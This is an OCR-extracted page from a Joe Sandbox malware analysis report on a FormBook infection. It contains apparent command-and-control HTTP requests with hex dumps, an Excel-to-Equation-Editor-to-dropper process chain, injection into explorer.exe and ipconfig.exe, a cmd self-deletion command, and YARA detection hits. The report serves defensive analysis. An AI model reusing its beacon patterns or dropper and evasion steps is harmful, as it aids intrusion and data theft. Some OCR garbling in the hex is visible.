20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20
20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d
61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6 22 3e 0a 20 20 20 20 3c
74 69 74 6¢ 65 3e 46 6f 72 62 69 64 64 65 6e 3¢ 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e Oa 3c 62 6f 64 79 3e Oa 3c
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e Oa 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-
8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">  <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>

Destination IP  Destination Port Process

192.99.131.252 80 C:\Windows\explorer.exe

Data

GET /nthe/?t48tI=fJEp_HN8mMPITHN5P&5jo4nr=TiWkgH4UkC7Clgz9ktcRQySnot/hSPOU84Y Zk1QGO5z/hARin
1ng6rxU4Y++sy6YdGpizQ== HTTP/1.1

Host: www.americanstonesusa.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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kBytes

Timestamp transferred

Sep 15, 2021 604

11:20:10.341188908 CEST

Session ID Source IP

9 192.168.2.22
kBytes

Timestamp transferred

Sep 15, 2021 605

11:20:15.364769936 CEST

Sep 15, 2021 606
11:20:15.480021954 CEST

Code Manipulations

Statistics

Behavior

o)

System Behavior

Direction

IN

Source Port

49184

Direction

ouT

Click to jump to process

Data

HTTP/1.1 301 Moved Permanently

Date: Wed, 15 Sep 2021 09:20:10 GMT

Server: Apache

Location: https://www.americanstonesusa.com/nthe/?t48tJ=fJEp_HN8mPIiTHN5P&5jo4nr=TiWkgH4UkC7Clqz9ktcR
QySnot/hSPOU84YZk1QGO5z/hARIn1ng6rxU4Y++sy6YdGpizQ==

Content-Length: 354

Connection: close

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0a 3¢ 74 69 74 6¢ 65 3e 33 30 31 20 4d 6f
76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e Oa 3c 68
31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 3¢ 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74
2068 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 6d 65 72 69 63 61 6e
73 74 6f 6e 65 73 75 73 61 2e 63 6f 6d 2f 6e 74 68 65 2f 3f 74 34 38 74 4a 3d 66 4a 45 70 5f 48 4e 38 6d 50 69 54 48 4e
3550 26 61 6d 70 3b 35 6a 6f 34 6e 72 3d 54 69 57 6b 67 48 34 55 6b 43 37 43 49 71 7a 39 6b 74 63 52 51 79 53 6e 6f
74 2f 68 53 50 30 55 38 34 59 5a 6b 31 51 47 4f 35 7a 2f 68 41 52 69 6e 31 6e 67 36 72 78 55 34 59 2b 2b 73 79 36 59 64
4770 69 7a 51 3d 3d 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e Oa

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>301 Moved Permanent
ly<ftitle></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.amer
icanstonesusa.com/nthe/?t48tJ=fJEp_HN8mPITHN5P&amp;5jo4nr=TiWkgH4UkC7Clqz9ktcRQySnot/hSPOU84YZk1QGO5
z/hARIn1ng6rxU4Y++sy6YdGpizQ==">here</a>.</p></body></html>

Destination IP Destination Port Process

34.102.136.180 80 C:\Windows\explorer.exe

Data

GET /nthe/?5jo4nr=S+ZwTBrK0+7RoomNfSvQ9j84ffpxKdfieFGWtVtDAWHCIMGVYLqiZt07bDY98RTKIOTy Tg==&t48tJ=fJE
p_HN8mMPITHN5P HTTP/1.1

Host: www.plasticplank.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 403 Forbidden

Server: openresty

Date: Wed, 15 Sep 2021 09:20:15 GMT

Content-Type: text/html

Content-Length: 275

ETag: "6139ed55-113"

Via: 1.1 google

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Oa 3c 68 65
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20
20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d
61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6 22 3e 0a 20 20 20 20 3c
74 69 74 6¢ 65 3e 46 6f 72 62 69 64 64 65 6e 3¢ 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e Oa 3c 62 6f 64 79 3e Oa 3c
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e Oa 3c 2f 62 6f 64 79 3e Oa 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-
8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">  <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></html>
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Analysis Process: EXCEL.EXE PID: 2920 Parent PID: 596

General

Start time: 11:15:22

Start date: 15/09/2021

Path: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Wow64 process (32bit): false

Commandline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding

Imagebase: 0x13fa90000

File size: 28253536 bytes

MDS5 hash: D53B85E21886D2AF9815C377537BCAC3

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate
File Activities Show Windows behavior
File Written
Registry Activities Show Windows behavior
Key Created

Key Value Created

Key Value Modified

Analysis Process: EQNEDT32.EXE PID: 2808 Parent PID: 596

General

Start time: 11:15:45

Start date: 15/09/2021

Path: C:\Program Files\Common Files\Microsoft Shared\ EQUATION\EQNEDT32.EXE

Wow64 process (32bit): true

Commandline: ‘C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding

Imagebase: 0x400000

File size: 543304 bytes

MD5 hash: A87236E214F6D42A65F5DEDAC816AECS

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high
File Activities Show Windows behavior
Registry Activities Show Windows behavior
Key Created

Analysis Process: vbc.exe PID: 2976 Parent PID: 2808

General
Start time: 11:15:48
Start date: 15/09/2021
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Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

C:\Users\Public\vbc.exe

true

‘C:\Users\Public\vbc.exe'

0x200000

556544 bytes
989933E361010648C467C6D7B6C2D812
true

true

.Net C# or VB.NET

e Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source:
00000006.00000002.481016134.00000000023ED000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000006.00000002.481283058.00000000033B9000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000006.00000002.481283058.00000000033B9000.00000004.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000006.00000002.481283058.00000000033B9000.00000004.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

Reputation: low
File Activities Show Windows behavior
File Read
Analysis Process: vbc.exe PID: 836 Parent PID: 2976

General

Start time: 11:15:51

Start date: 15/09/2021

Path: C:\Users\Public\vbc.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

C:\Users\Public\vbc.exe

0x200000

556544 bytes
989933E361010648C467C6D7B6C2D812
true

true

C, C++ or other language

Reputation: low
Analysis Process: vbc.exe PID: 2636 Parent PID: 2976
General
Start time: 11:15:52
Start date: 15/09/2021
Path: C:\Users\Public\vbc.exe
Wow64 process (32bit): true
Commandline: C:\Users\Public\vbc.exe
Imagebase: 0x200000
File size: 556544 bytes
MDS5 hash: 989933E361010648C467C6D7B6C2D812

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright Joe Security LLC 2021

true
true

C, C++ or other language

Page 36 of 39



Yara matches: e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000008.00000002.541191725.0000000000400000.00000040.00000001.sdmp, Author:
Joe Security
e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000008.00000002.541191725.0000000000400000.00000040.00000001.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com
e Rule: Formbook, Description: detect Formbook in memory, Source:
00000008.00000002.541191725.0000000000400000.00000040.00000001.sdmp, Author:
JPCERT/CC Incident Response Group
e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000008.00000002.540998722.00000000001C0000.00000040.00020000.sdmp, Author:
Joe Security
e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000008.00000002.540998722.00000000001C0000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source:
00000008.00000002.540998722.00000000001C0000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000008.00000002.540894487.0000000000080000.00000040.00020000.sdmp, Author:
Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000008.00000002.540894487.0000000000080000.00000040.00020000.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source:
00000008.00000002.540894487.0000000000080000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

.

.

.

.

Reputation: low

File Activities Show Windows behavior

File Read

Analysis Process: explorer.exe PID: 1764 Parent PID: 2636

General
Start time: 11:15:54
Start date: 15/09/2021
Path: C:\Windows\explorer.exe
Wow64 process (32bit): false
Commandline: C:\Windows\Explorer.EXE
Imagebase: 0xffa10000
File size: 3229696 bytes
MD5 hash: 38AE1B3C38FAEF56FE4907922F0385BA
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Yara matches: e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000009.00000000.506424858.0000000009AA6000.00000040.00020000.sdmp, Author:
Joe Security
e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000009.00000000.506424858.0000000009AA6000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com
e Rule: Formbook, Description: detect Formbook in memory, Source:
00000009.00000000.506424858.0000000009AA6000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group
e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000009.00000000.498846912.0000000009AA6000.00000040.00020000.sdmp, Author:
Joe Security
e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000009.00000000.498846912.0000000009AA6000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com
e Rule: Formbook, Description: detect Formbook in memory, Source:
00000009.00000000.498846912.0000000009AA6000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group
Reputation: high
File Activities Show Windows behavior
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Analysis Process: ipconfig.exe PID: 1012 Parent PID: 2636

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

11:16:21

15/09/2021
C:\Windows\SysWOW64\ipconfig.exe
true
C:\Windows\SysWOW64\ipconfig.exe
0x2f0000

27136 bytes
CABB20E171770FF64614A54C1F31C033
true

true

C, C++ or other language

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000B.00000002.687551604.00000000002C0000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000B.00000002.687551604.00000000002C0000.00000004.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000B.00000002.687551604.00000000002C0000.00000004.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000B.00000002.687415275.00000000000C0000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000B.00000002.687415275.00000000000C0000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000B.00000002.687415275.00000000000C0000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000B.00000002.687510611.0000000000290000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000B.00000002.687510611.0000000000290000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000B.00000002.687510611.0000000000290000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Reputation: moderate
File Activities Show Windows behavior
File Read
Analysis Process: cmd.exe PID: 2688 Parent PID: 1012

General

Start time: 11:16:22

Start date: 15/09/2021

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities
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true

/c del 'C:\Users\Public\vbc.exe'
0x4acd0000

302592 bytes
AD7B9C14083B52BC532FBA5948342B98
true

true

C, C++ or other language

high

Show Windows behavior
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File Deleted

Disassembly

Code Analysis

Copyright Joe Security LLC Joe Sandbox Cloud Basic 33.0.0 White Diamond
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